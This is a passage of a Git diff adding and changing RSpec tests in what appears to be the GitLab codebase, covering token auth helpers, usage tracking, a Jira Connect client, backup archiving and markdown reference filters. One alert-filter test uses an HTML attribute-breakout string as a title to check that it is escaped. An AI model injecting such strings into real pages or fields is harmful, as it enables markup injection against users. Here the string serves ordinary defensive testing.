+ let(:password) { job.token }
- subject { helper.uploaded_package_file }
+ subject { helper.find_job_from_http_basic_auth }
- before do
- allow(helper).to receive(:params).and_return(params)
+ it_behaves_like 'valid auth header' do
+ let(:expected_result) { job }
end
- context 'with valid uploaded package file' do
- let_it_be(:uploaded_file) { Object.new }
+ it_behaves_like 'invalid auth header'
+ context 'when the job is not running' do
before do
- allow(UploadedFile).to receive(:from_params).and_return(uploaded_file)
+ job.update!(status: :failed)
end
- it { is_expected.to be uploaded_file }
+ it_behaves_like 'valid auth header' do
+ let(:expected_result) { nil }
+ end
end
+ end
- context 'with invalid uploaded package file' do
- before do
- allow(UploadedFile).to receive(:from_params).and_return(nil)
- end
+ describe '#find_deploy_token_from_http_basic_auth' do
+ let_it_be(:deploy_token) { create(:deploy_token) }
+ let(:token) { deploy_token.token }
+ let(:username) { deploy_token.username }
+ let(:password) { token }
- it 'fails with bad_request!' do
- expect(helper).to receive(:bad_request!)
+ subject { helper.find_deploy_token_from_http_basic_auth }
- expect(subject).to be nil
- end
+ it_behaves_like 'valid auth header' do
+ let(:expected_result) { deploy_token }
end
- end
- def basic_http_auth(username, password)
- ActionController::HttpAuthentication::Basic.encode_credentials(username, password)
+ it_behaves_like 'invalid auth header'
end
end
diff --git a/spec/lib/api/helpers_spec.rb b/spec/lib/api/helpers_spec.rb
index d0fe9163c6e..51a45dff6a4 100644
--- a/spec/lib/api/helpers_spec.rb
+++ b/spec/lib/api/helpers_spec.rb
@@ -183,12 +183,68 @@ RSpec.describe API::Helpers do
end
it "logs an exception" do
- expect(Rails.logger).to receive(:warn).with(/Tracking event failed/)
+ expect(Gitlab::AppLogger).to receive(:warn).with(/Tracking event failed/)
subject.track_event('my_event', category: nil)
end
end
+ describe '#increment_unique_values' do
+ let(:value) { '9f302fea-f828-4ca9-aef4-e10bd723c0b3' }
+ let(:event_name) { 'my_event' }
+ let(:unknown_event) { 'unknown' }
+ let(:feature) { "usage_data_#{event_name}" }
+
+ context 'with feature enabled' do
+ before do
+ stub_feature_flags(feature => true)
+ end
+
+ it 'tracks redis hll event' do
+ stub_application_setting(usage_ping_enabled: true)
+
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:track_event).with(value, event_name)
+
+ subject.increment_unique_values(event_name, value)
+ end
+
+ it 'does not track event usage ping is not enabled' do
+ stub_application_setting(usage_ping_enabled: false)
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
+
+ subject.increment_unique_values(event_name, value)
+ end
+
+ it 'logs an exception for unknown event' do
+ stub_application_setting(usage_ping_enabled: true)
+
+ expect(Gitlab::AppLogger).to receive(:warn).with("Redis tracking event failed for event: #{unknown_event}, message: Unknown event #{unknown_event}")
+
+ subject.increment_unique_values(unknown_event, value)
+ end
+
+ it 'does not track event for nil values' do
+ stub_application_setting(usage_ping_enabled: true)
+
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
+
+ subject.increment_unique_values(unknown_event, nil)
+ end
+ end
+
+ context 'with feature disabled' do
+ before do
+ stub_feature_flags(feature => false)
+ end
+
+ it 'does not track event' do
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
+
+ subject.increment_unique_values(event_name, value)
+ end
+ end
+ end
+
describe '#order_options_with_tie_breaker' do
subject { Class.new.include(described_class).new.order_options_with_tie_breaker }
diff --git a/spec/lib/atlassian/jira_connect/client_spec.rb b/spec/lib/atlassian/jira_connect/client_spec.rb
new file mode 100644
index 00000000000..40ffec21b26
--- /dev/null
+++ b/spec/lib/atlassian/jira_connect/client_spec.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Atlassian::JiraConnect::Client do
+ include StubRequests
+
+ subject { described_class.new('https://gitlab-test.atlassian.net', 'sample_secret') }
+
+ around do |example|
+ Timecop.freeze { example.run }
+ end
+
+ describe '#store_dev_info' do
+ it "calls the API with auth headers" do
+ expected_jwt = Atlassian::Jwt.encode(
+ Atlassian::Jwt.build_claims(
+ Atlassian::JiraConnect.app_key,
+ '/rest/devinfo/0.10/bulk',
+ 'POST'
+ ),
+ 'sample_secret'
+ )
+
+ stub_full_request('https://gitlab-test.atlassian.net/rest/devinfo/0.10/bulk', method: :post)
+ .with(
+ headers: {
+ 'Authorization' => "JWT #{expected_jwt}",
+ 'Content-Type' => 'application/json'
+ }
+ )
+
+ subject.store_dev_info(project: create(:project))
+ end
+ end
+end
diff --git a/spec/lib/atlassian/jira_connect/serializers/author_entity_spec.rb b/spec/lib/atlassian/jira_connect/serializers/author_entity_spec.rb
new file mode 100644
index 00000000000..f31cf929244
--- /dev/null
+++ b/spec/lib/atlassian/jira_connect/serializers/author_entity_spec.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Atlassian::JiraConnect::Serializers::AuthorEntity do
+ subject { described_class.represent(user).as_json }
+
+ context 'when object is a User model' do
+ let(:user) { build_stubbed(:user) }
+
+ it 'exposes all fields' do
+ expect(subject.keys).to contain_exactly(:name, :email, :username, :url, :avatar)
+ end
+ end
+
+ context 'when object is a CommitAuthor struct from a commit' do
+ let(:user) { Atlassian::JiraConnect::Serializers::CommitEntity::CommitAuthor.new('Full Name', 'user@example.com') }
+
+ it 'exposes name and email only' do
+ expect(subject.keys).to contain_exactly(:name, :email)
+ end
+ end
+end
diff --git a/spec/lib/atlassian/jira_connect/serializers/branch_entity_spec.rb b/spec/lib/atlassian/jira_connect/serializers/branch_entity_spec.rb
new file mode 100644
index 00000000000..e69e2aae94c
--- /dev/null
+++ b/spec/lib/atlassian/jira_connect/serializers/branch_entity_spec.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Atlassian::JiraConnect::Serializers::BranchEntity do
+ let(:project) { create(:project, :repository) }
+ let(:branch) { project.repository.find_branch('improve/awesome') }
+
+ subject { described_class.represent(branch, project: project).as_json }
+
+ it 'sets the hash of the branch name as the id' do
+ expect(subject[:id]).to eq('bbfba9b197ace5da93d03382a7ce50081ae89d99faac1f2326566941288871ce')
+ end
+end
diff --git a/spec/lib/atlassian/jira_connect/serializers/repository_entity_spec.rb b/spec/lib/atlassian/jira_connect/serializers/repository_entity_spec.rb
new file mode 100644
index 00000000000..23ba1770827
--- /dev/null
+++ b/spec/lib/atlassian/jira_connect/serializers/repository_entity_spec.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Atlassian::JiraConnect::Serializers::RepositoryEntity do
+ subject do
+ project = create(:project, :repository)
+ commits = [project.commit]
+ branches = [project.repository.find_branch('master')]
+ merge_requests = [create(:merge_request, source_project: project, target_project: project)]
+
+ described_class.represent(
+ project,
+ commits: commits,
+ branches: branches,
+ merge_requests: merge_requests
+ ).to_json
+ end
+
+ it { is_expected.to match_schema('jira_connect/repository') }
+end
diff --git a/spec/lib/atlassian/jira_issue_key_extractor_spec.rb b/spec/lib/atlassian/jira_issue_key_extractor_spec.rb
new file mode 100644
index 00000000000..ce29e03f818
--- /dev/null
+++ b/spec/lib/atlassian/jira_issue_key_extractor_spec.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+RSpec.describe Atlassian::JiraIssueKeyExtractor do
+ describe '.has_keys?' do
+ subject { described_class.has_keys?(string) }
+
+ context 'when string contains Jira issue keys' do
+ let(:string) { 'Test some string TEST-01 with keys' }
+
+ it { is_expected.to eq(true) }
+ end
+
+ context 'when string does not contain Jira issue keys' do
+ let(:string) { 'string with no jira issue keys' }
+
+ it { is_expected.to eq(false) }
+ end
+ end
+
+ describe '#issue_keys' do
+ subject { described_class.new('TEST-01 Some A-100 issue title OTHER-02 ABC!-1 that mentions Jira issue').issue_keys }
+
+ it 'returns all valid Jira issue keys' do
+ is_expected.to contain_exactly('TEST-01', 'OTHER-02')
+ end
+
+ context 'when multiple strings are passed in' do
+ subject { described_class.new('TEST-01 Some A-100', 'issue title OTHER', '-02 ABC!-1 that mentions Jira issue').issue_keys }
+
+ it 'returns all valid Jira issue keys in any of those string' do
+ is_expected.to contain_exactly('TEST-01')
+ end
+ end
+ end
+end
diff --git a/spec/lib/backup/artifacts_spec.rb b/spec/lib/backup/artifacts_spec.rb
new file mode 100644
index 00000000000..2a3f1949ba5
--- /dev/null
+++ b/spec/lib/backup/artifacts_spec.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Backup::Artifacts do
+ let(:progress) { StringIO.new }
+
+ subject(:backup) { described_class.new(progress) }
+
+ describe '#initialize' do
+ it 'uses the correct upload dir' do
+ Dir.mktmpdir do |tmpdir|
+ allow(JobArtifactUploader).to receive(:root) { "#{tmpdir}" }
+
+ expect(backup.app_files_dir).to eq("#{tmpdir}")
+ end
+ end
+ end
+
+ describe '#dump' do
+ before do
+ allow(File).to receive(:realpath).with('/var/gitlab-artifacts').and_return('/var/gitlab-artifacts')
+ allow(File).to receive(:realpath).with('/var/gitlab-artifacts/..').and_return('/var')
+ allow(JobArtifactUploader).to receive(:root) { '/var/gitlab-artifacts' }
+ end
+
+ it 'uses the correct artifact dir' do
+ expect(backup.app_files_dir).to eq('/var/gitlab-artifacts')
+ end
+
+ it 'excludes tmp from backup tar' do
+ expect(backup).to receive(:tar).and_return('blabla-tar')
+ expect(backup).to receive(:run_pipeline!).with([%w(blabla-tar --exclude=lost+found --exclude=./tmp -C /var/gitlab-artifacts -cf - .), 'gzip -c -1'], any_args)
+ backup.dump
+ end
+ end
+end
diff --git a/spec/lib/backup/database_spec.rb b/spec/lib/backup/database_spec.rb
new file mode 100644
index 00000000000..fccd6db0018
--- /dev/null
+++ b/spec/lib/backup/database_spec.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Backup::Database do
+ let(:progress) { StringIO.new }
+ let(:output) { progress.string }
+
+ describe '#restore' do
+ let(:cmd) { %W[#{Gem.ruby} -e $stdout.puts(1)] }
+ let(:data) { Rails.root.join("spec/fixtures/pages_empty.tar.gz").to_s }
+
+ subject { described_class.new(progress, filename: data) }
+
+ before do
+ allow(subject).to receive(:pg_restore_cmd).and_return(cmd)
+ end
+
+ context 'with an empty .gz file' do
+ let(:data) { Rails.root.join("spec/fixtures/pages_empty.tar.gz").to_s }
+
+ it 'returns successfully' do
+ expect(subject.restore).to eq([])
+
+ expect(output).to include("Restoring PostgreSQL database")
+ expect(output).to include("[DONE]")
+ expect(output).not_to include("ERRORS")
+ end
+ end
+
+ context 'with a corrupted .gz file' do
+ let(:data) { Rails.root.join("spec/fixtures/big-image.png").to_s }
+
+ it 'raises a backup error' do
+ expect { subject.restore }.to raise_error(Backup::Error)
+ end
+ end
+
+ context 'when the restore command prints errors' do
+ let(:visible_error) { "This is a test error\n" }
+ let(:noise) { "Table projects does not exist\nmust be owner of extension pg_trgm\n" }
+ let(:cmd) { %W[#{Gem.ruby} -e $stderr.write("#{noise}#{visible_error}")] }
+
+ it 'filters out noise from errors' do
+ expect(subject.restore).to eq([visible_error])
+ expect(output).to include("ERRORS")
+ expect(output).not_to include(noise)
+ expect(output).to include(visible_error)
+ end
+ end
+ end
+end
diff --git a/spec/lib/backup/files_spec.rb b/spec/lib/backup/files_spec.rb
index a7374b82ce0..c2dbaac7f15 100644
--- a/spec/lib/backup/files_spec.rb
+++ b/spec/lib/backup/files_spec.rb
@@ -14,6 +14,8 @@ RSpec.describe Backup::Files do
allow(File).to receive(:exist?).and_return(true)
allow(File).to receive(:realpath).with("/var/gitlab-registry").and_return("/var/gitlab-registry")
allow(File).to receive(:realpath).with("/var/gitlab-registry/..").and_return("/var")
+ allow(File).to receive(:realpath).with("/var/gitlab-pages").and_return("/var/gitlab-pages")
+ allow(File).to receive(:realpath).with("/var/gitlab-pages/..").and_return("/var")
allow_any_instance_of(String).to receive(:color) do |string, _color|
string
@@ -82,4 +84,48 @@ RSpec.describe Backup::Files do
end
end
end
+
+ describe '#dump' do
+ subject { described_class.new('pages', '/var/gitlab-pages', excludes: ['@pages.tmp']) }
+
+ before do
+ allow(subject).to receive(:run_pipeline!).and_return(true)
+ end
+
+ it 'raises no errors' do
+ expect { subject.dump }.not_to raise_error
+ end
+
+ it 'excludes tmp dirs from archive' do
+ expect(subject).to receive(:tar).and_return('blabla-tar')
+
+ expect(subject).to receive(:run_pipeline!).with([%w(blabla-tar --exclude=lost+found --exclude=./@pages.tmp -C /var/gitlab-pages -cf - .), 'gzip -c -1'], any_args)
+ subject.dump
+ end
+
+ describe 'with STRATEGY=copy' do
+ before do
+ stub_env('STRATEGY', 'copy')
+ end
+
+ it 'excludes tmp dirs from rsync' do
+ allow(Gitlab.config.backup).to receive(:path) { '/var/gitlab-backup' }
+ allow(File).to receive(:realpath).with("/var/gitlab-backup").and_return("/var/gitlab-backup")
+
+ expect(Gitlab::Popen).to receive(:popen).with(%w(rsync -a --exclude=lost+found --exclude=/@pages.tmp /var/gitlab-pages /var/gitlab-backup)).and_return(['', 0])
+
+ subject.dump
+ end
+ end
+
+ describe '#exclude_dirs' do
+ it 'prepends a leading dot slash to tar excludes' do
+ expect(subject.exclude_dirs(:tar)).to eq(['--exclude=lost+found', '--exclude=./@pages.tmp'])
+ end
+
+ it 'prepends a leading slash to rsync excludes' do
+ expect(subject.exclude_dirs(:rsync)).to eq(['--exclude=lost+found', '--exclude=/@pages.tmp'])
+ end
+ end
+ end
end
diff --git a/spec/lib/backup/manager_spec.rb b/spec/lib/backup/manager_spec.rb
index 38a5c30506b..feaca6164eb 100644
--- a/spec/lib/backup/manager_spec.rb
+++ b/spec/lib/backup/manager_spec.rb
@@ -416,5 +416,28 @@ RSpec.describe Backup::Manager do
subject.upload
end
end
+
+ context 'with AzureRM provider' do
+ before do
+ stub_backup_setting(
+ upload: {
+ connection: {
+ provider: 'AzureRM',
+ azure_storage_account_name: 'test-access-id',
+ azure_storage_access_key: 'secret'
+ },
+ remote_directory: 'directory',
+ multipart_chunk_size: nil,
+ encryption: nil,
+ encryption_key: nil,
+ storage_class: nil
+ }
+ )
+ end
+
+ it 'loads the provider' do
+ expect { subject.upload }.not_to raise_error
+ end
+ end
end
end
diff --git a/spec/lib/backup/pages_spec.rb b/spec/lib/backup/pages_spec.rb
new file mode 100644
index 00000000000..59df4d1adf7
--- /dev/null
+++ b/spec/lib/backup/pages_spec.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Backup::Pages do
+ let(:progress) { StringIO.new }
+
+ subject { described_class.new(progress) }
+
+ before do
+ allow(File).to receive(:realpath).with("/var/gitlab-pages").and_return("/var/gitlab-pages")
+ allow(File).to receive(:realpath).with("/var/gitlab-pages/..").and_return("/var")
+ end
+
+ describe '#dump' do
+ it 'uses the correct pages dir' do
+ allow(Gitlab.config.pages).to receive(:path) { '/var/gitlab-pages' }
+
+ expect(subject.app_files_dir).to eq('/var/gitlab-pages')
+ end
+
+ it 'excludes tmp from backup tar' do
+ allow(Gitlab.config.pages).to receive(:path) { '/var/gitlab-pages' }
+
+ expect(subject).to receive(:tar).and_return('blabla-tar')
+ expect(subject).to receive(:run_pipeline!).with([%w(blabla-tar --exclude=lost+found --exclude=./@pages.tmp -C /var/gitlab-pages -cf - .), 'gzip -c -1'], any_args)
+ subject.dump
+ end
+ end
+end
diff --git a/spec/lib/backup/repository_spec.rb b/spec/lib/backup/repository_spec.rb
index c4ad239f9d7..718f38f9452 100644
--- a/spec/lib/backup/repository_spec.rb
+++ b/spec/lib/backup/repository_spec.rb
@@ -47,11 +47,23 @@ RSpec.describe Backup::Repository do
end
it 'project query raises an error' do
- allow(Project).to receive(:find_each).and_raise(ActiveRecord::StatementTimeout)
+ allow(Project).to receive_message_chain(:includes, :find_each).and_raise(ActiveRecord::StatementTimeout)
expect { subject.dump(max_concurrency: 1, max_storage_concurrency: 1) }.to raise_error(ActiveRecord::StatementTimeout)
end
end
+
+ it 'avoids N+1 database queries' do
+ control_count = ActiveRecord::QueryRecorder.new do
+ subject.dump(max_concurrency: 1, max_storage_concurrency: 1)
+ end.count
+
+ create_list(:project, 2, :wiki_repo)
+
+ expect do
+ subject.dump(max_concurrency: 1, max_storage_concurrency: 1)
+ end.not_to exceed_query_limit(control_count)
+ end
end
[4, 10].each do |max_storage_concurrency|
@@ -89,7 +101,7 @@ RSpec.describe Backup::Repository do
end
it 'project query raises an error' do
- allow(Project).to receive_message_chain('for_repository_storage.find_each').and_raise(ActiveRecord::StatementTimeout)
+ allow(Project).to receive_message_chain(:for_repository_storage, :includes, :find_each).and_raise(ActiveRecord::StatementTimeout)
expect { subject.dump(max_concurrency: 1, max_storage_concurrency: max_storage_concurrency) }.to raise_error(ActiveRecord::StatementTimeout)
end
@@ -102,6 +114,18 @@ RSpec.describe Backup::Repository do
end
end
end
+
+ it 'avoids N+1 database queries' do
+ control_count = ActiveRecord::QueryRecorder.new do
+ subject.dump(max_concurrency: 1, max_storage_concurrency: max_storage_concurrency)
+ end.count
+
+ create_list(:project, 2, :wiki_repo)
+
+ expect do
+ subject.dump(max_concurrency: 1, max_storage_concurrency: max_storage_concurrency)
+ end.not_to exceed_query_limit(control_count)
+ end
end
end
end
diff --git a/spec/lib/backup/uploads_spec.rb b/spec/lib/backup/uploads_spec.rb
index 7c2d715b580..678b670db34 100644
--- a/spec/lib/backup/uploads_spec.rb
+++ b/spec/lib/backup/uploads_spec.rb
@@ -18,4 +18,22 @@ RSpec.describe Backup::Uploads do
end
end
end
+
+ describe '#dump' do
+ before do
+ allow(File).to receive(:realpath).with('/var/uploads').and_return('/var/uploads')
+ allow(File).to receive(:realpath).with('/var/uploads/..').and_return('/var')
+ allow(Gitlab.config.uploads).to receive(:storage_path) { '/var' }
+ end
+
+ it 'uses the correct upload dir' do
+ expect(backup.app_files_dir).to eq('/var/uploads')
+ end
+
+ it 'excludes tmp from backup tar' do
+ expect(backup).to receive(:tar).and_return('blabla-tar')
+ expect(backup).to receive(:run_pipeline!).with([%w(blabla-tar --exclude=lost+found --exclude=./tmp -C /var/uploads -cf - .), 'gzip -c -1'], any_args)
+ backup.dump
+ end
+ end
end
diff --git a/spec/lib/banzai/filter/alert_reference_filter_spec.rb b/spec/lib/banzai/filter/alert_reference_filter_spec.rb
new file mode 100644
index 00000000000..c57a8a7321c
--- /dev/null
+++ b/spec/lib/banzai/filter/alert_reference_filter_spec.rb
@@ -0,0 +1,223 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::AlertReferenceFilter do
+ include FilterSpecHelper
+
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:alert) { create(:alert_management_alert, project: project) }
+ let_it_be(:reference) { alert.to_reference }
+
+ it 'requires project context' do
+ expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
+ end
+
+ %w(pre code a style).each do |elem|
+ it "ignores valid references contained inside '#{elem}' element" do
+ exp = act = "<#{elem}>Alert #{reference}</#{elem}>"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'internal reference' do
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq alert.details_url
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Alert (#{reference}.)")
+
+ expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(reference)}</a>\.\)})
+ end
+
+ it 'ignores invalid alert IDs' do
+ exp = act = "Alert #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+
+ it 'includes a title attribute' do
+ doc = reference_filter("Alert #{reference}")
+
+ expect(doc.css('a').first.attr('title')).to eq alert.title
+ end
+
+ it 'escapes the title attribute' do
+ allow(alert).to receive(:title).and_return(%{"></a>whatever<a title="})
+ doc = reference_filter("Alert #{reference}")
+
+ expect(doc.text).to eq "Alert #{reference}"
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("Alert #{reference}")
+
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-alert has-tooltip'
+ end
+
+ it 'includes a data-project attribute' do
+ doc = reference_filter("Alert #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-project')
+ expect(link.attr('data-project')).to eq project.id.to_s
+ end
+
+ it 'includes a data-alert attribute' do
+ doc = reference_filter("See #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-alert')
+ expect(link.attr('data-alert')).to eq alert.id.to_s
+ end
+
+ it 'supports an :only_path context' do
+ doc = reference_filter("Alert #{reference}", only_path: true)
+ link = doc.css('a').first.attr('href')
+
+ expect(link).not_to match %r(https?://)
+ expect(link).to eq urls.details_project_alert_management_url(project, alert.iid, only_path: true)
+ end
+ end
+
+ context 'cross-project / cross-namespace complete reference' do
+ let_it_be(:namespace) { create(:namespace) }
+ let_it_be(:project2) { create(:project, :public, namespace: namespace) }
+ let_it_be(:alert) { create(:alert_management_alert, project: project2) }
+ let_it_be(:reference) { "#{project2.full_path}^alert##{alert.iid}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq alert.details_url
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.css('a').first.text).to eql(reference)
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.text).to eql("See (#{reference}.)")
+ end
+
+ it 'ignores invalid alert IDs on the referenced project' do
+ exp = act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project / same-namespace complete reference' do
+ let_it_be(:namespace) { create(:namespace) }
+ let_it_be(:project) { create(:project, :public, namespace: namespace) }
+ let_it_be(:project2) { create(:project, :public, namespace: namespace) }
+ let_it_be(:alert) { create(:alert_management_alert, project: project2) }
+ let_it_be(:reference) { "#{project2.full_path}^alert##{alert.iid}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq alert.details_url
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("See (#{project2.path}^alert##{alert.iid}.)")
+
+ expect(doc.css('a').first.text).to eql("#{project2.path}^alert##{alert.iid}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See (#{project2.path}^alert##{alert.iid}.)")
+
+ expect(doc.text).to eql("See (#{project2.path}^alert##{alert.iid}.)")
+ end
+
+ it 'ignores invalid alert IDs on the referenced project' do
+ exp = act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project shorthand reference' do
+ let_it_be(:namespace) { create(:namespace) }
+ let_it_be(:project) { create(:project, :public, namespace: namespace) }
+ let_it_be(:project2) { create(:project, :public, namespace: namespace) }
+ let_it_be(:alert) { create(:alert_management_alert, project: project2) }
+ let_it_be(:reference) { "#{project2.path}^alert##{alert.iid}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq alert.details_url
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("See (#{project2.path}^alert##{alert.iid}.)")
+
+ expect(doc.css('a').first.text).to eql("#{project2.path}^alert##{alert.iid}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See (#{project2.path}^alert##{alert.iid}.)")
+
+ expect(doc.text).to eql("See (#{project2.path}^alert##{alert.iid}.)")
+ end
+
+ it 'ignores invalid alert IDs on the referenced project' do
+ exp = act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project URL reference' do
+ let_it_be(:namespace) { create(:namespace, name: 'cross-reference') }
+ let_it_be(:project2) { create(:project, :public, namespace: namespace) }
+ let_it_be(:alert) { create(:alert_management_alert, project: project2) }
+ let_it_be(:reference) { alert.details_url }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq alert.details_url
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(alert.to_reference(project))}</a>\.\)})
+ end
+
+ it 'ignores invalid alert IDs on the referenced project' do
+ act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to match(%r{<a.+>#{Regexp.escape(invalidate_reference(reference))}</a>})
+ end
+ end
+
+ context 'group context' do
+ let_it_be(:group) { create(:group) }
+
+ it 'links to a valid reference' do
+ reference = "#{project.full_path}^alert##{alert.iid}"
+ result = reference_filter("See #{reference}", { project: nil, group: group } )
+
+ expect(result.css('a').first.attr('href')).to eq(alert.details_url)
+ end
+
+ it 'ignores internal references' do
+ exp = act = "See ^alert##{alert.iid}"
+
+ expect(reference_filter(act, project: nil, group: group).to_html).to eq exp
+ end
+ end
+end
diff --git a/spec/lib/banzai/filter/external_issue_reference_filter_spec.rb b/spec/lib/banzai/filter/external_issue_reference_filter_spec.rb
index 7d8fb183dbb..e7b6c910b8a 100644
--- a/spec/lib/banzai/filter/external_issue_reference_filter_spec.rb
+++ b/spec/lib/banzai/filter/external_issue_reference_filter_spec.rb
@@ -208,4 +208,47 @@ RSpec.describe Banzai::Filter::ExternalIssueReferenceFilter do
end
end
end
+
+ context "ewm project" do
+ let_it_be(:project) { create(:ewm_project) }
+
+ before do
+ project.update!(issues_enabled: false)
+ end
+
+ context "rtcwi keyword" do
+ let(:issue) { ExternalIssue.new("rtcwi 123", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+
+ context "workitem keyword" do
+ let(:issue) { ExternalIssue.new("workitem 123", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+
+ context "defect keyword" do
+ let(:issue) { ExternalIssue.new("defect 123", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+
+ context "task keyword" do
+ let(:issue) { ExternalIssue.new("task 123", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+
+ context "bug keyword" do
+ let(:issue) { ExternalIssue.new("bug 123", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+ end
end
diff --git a/spec/lib/banzai/filter/inline_metrics_filter_spec.rb b/spec/lib/banzai/filter/inline_metrics_filter_spec.rb
index 9b0b95b9da2..cdebd886b16 100644
--- a/spec/lib/banzai/filter/inline_metrics_filter_spec.rb
+++ b/spec/lib/banzai/filter/inline_metrics_filter_spec.rb
@@ -5,25 +5,68 @@ require 'spec_helper'
RSpec.describe Banzai::Filter::InlineMetricsFilter do
include FilterSpecHelper
- let(:params) { ['foo', 'bar', 12] }
- let(:query_params) { {} }
-
- let(:trigger_url) { urls.metrics_namespace_project_environment_url(*params, query_params) }
+ let(:environment_id) { 12 }
let(:dashboard_url) { urls.metrics_dashboard_namespace_project_environment_url(*params, **query_params, embedded: true) }
- it_behaves_like 'a metrics embed filter'
+ let(:query_params) do
+ {
+ dashboard: 'config/prometheus/common_metrics.yml',
+ group: 'System metrics (Kubernetes)',
+ title: 'Core Usage (Pod Average)',
+ y_label: 'Cores per Pod'
+ }
+ end
+
+ context 'with /-/environments/:environment_id/metrics URL' do
+ let(:params) { ['group', 'project', environment_id] }
+ let(:trigger_url) { urls.metrics_namespace_project_environment_url(*params, **query_params) }
+
+ context 'with no query params' do
+ let(:query_params) { {} }
+
+ it_behaves_like 'a metrics embed filter'
+ end
+
+ context 'with query params' do
+ it_behaves_like 'a metrics embed filter'
+ end
+ end
- context 'with query params specified' do
- let(:query_params) do
- {
- dashboard: 'config/prometheus/common_metrics.yml',
- group: 'System metrics (Kubernetes)',
- title: 'Core Usage (Pod Average)',
- y_label: 'Cores per Pod'
- }
+ context 'with /-/metrics?environment=:environment_id URL' do
+ let(:params) { %w(group project) }
+ let(:trigger_url) { urls.namespace_project_metrics_dashboard_url(*params, **query_params) }
+ let(:dashboard_url) do
+ urls.metrics_dashboard_namespace_project_environment_url(
+ *params.append(environment_id),
+ **query_params.except(:environment),
+ embedded: true
+ )
end
- it_behaves_like 'a metrics embed filter'
+ context 'with query params' do
+ it_behaves_like 'a metrics embed filter' do
+ before do
+ query_params.merge!(environment: environment_id)
+ end
+ end
+ end
+
+ context 'with only environment in query params' do
+ let(:query_params) { { environment: environment_id } }
+
+ it_behaves_like 'a metrics embed filter'
+ end
+
+ context 'with no query params' do
+ let(:query_params) { {} }
+
+ it 'ignores metrics URL without environment parameter' do
+ input = %(<a href="#{trigger_url}">example</a>)
+ filtered_input = filter(input).to_s
+
+ expect(CGI.unescape_html(filtered_input)).to eq(input)
+ end
+ end
end
it 'leaves links to other dashboards unchanged' do
diff --git a/spec/lib/banzai/filter/inline_metrics_redactor_filter_spec.rb b/spec/lib/banzai/filter/inline_metrics_redactor_filter_spec.rb
index 5f66844f498..3c736b46131 100644
--- a/spec/lib/banzai/filter/inline_metrics_redactor_filter_spec.rb
+++ b/spec/lib/banzai/filter/inline_metrics_redactor_filter_spec.rb
@@ -22,6 +22,13 @@ RSpec.describe Banzai::Filter::InlineMetricsRedactorFilter do
it_behaves_like 'redacts the embed placeholder'
it_behaves_like 'retains the embed placeholder when applicable'
+ context 'with /-/metrics?environment=:environment_id URL' do
+ let(:url) { urls.project_metrics_dashboard_url(project, embedded: true, environment: 1) }
+
+ it_behaves_like 'redacts the embed placeholder'
+ it_behaves_like 'retains the embed placeholder when applicable'
